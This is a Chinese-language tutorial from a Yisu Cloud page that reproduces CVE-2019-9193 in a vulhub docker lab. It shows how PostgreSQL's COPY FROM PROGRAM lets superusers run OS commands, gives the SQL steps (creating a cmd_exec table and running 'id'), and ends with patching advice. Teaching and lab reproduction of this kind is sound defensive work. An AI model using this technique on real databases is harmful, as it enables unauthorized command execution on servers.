PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

发布时间:2021-11-26 09:41:36 作者:小新
来源:亿速云 阅读:316

这篇文章将为大家详细讲解有关PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

0x00简介

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。

PostgreSQL特点:

Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。

Ø 支持文本、图像、视频、声音等

Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。

Ø 支持临时表,与物化视图

Ø 支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。

0x01漏洞概述

PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

0x02影响版本

9.3-11.2

0x03环境搭建

1. 本次漏洞环境使用vulhub中的docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境

cd vulhub-master/postgres/CVE-2019-9193

docker-compose up -d

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

3.使用docker ps查看是否启动成功

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

4.启动成功后使用navicat连接数据库,数据库初始账号密码为postgres/

postgres

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

0x04漏洞复现

注:这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户

1.执行删除你想用来保存命令输出但是可能存在的表,这一步可有可无

DROP TABLE IF EXISTS cmd_exec

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

2.创建用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

3.通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_exec FROM PROGRAM 'id'

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

4.将结果显示出来

SELECT * FROM cmd_exec

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

5.执行其他命令

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

6.查看账号信息

PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理

0x05修复建议

1.建议升级至最新版本

2.控制数据库权限禁止普通用户执行命令

关于“PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

推荐阅读:
  1. Apache SSI 远程命令执行漏洞
  2. ThinkPHP远程命令执行漏洞原理及复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

postgresql

上一篇:如何进行call、send和transfer的转账方式与比较

下一篇:C#如何实现基于Socket套接字的网络通信封装

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》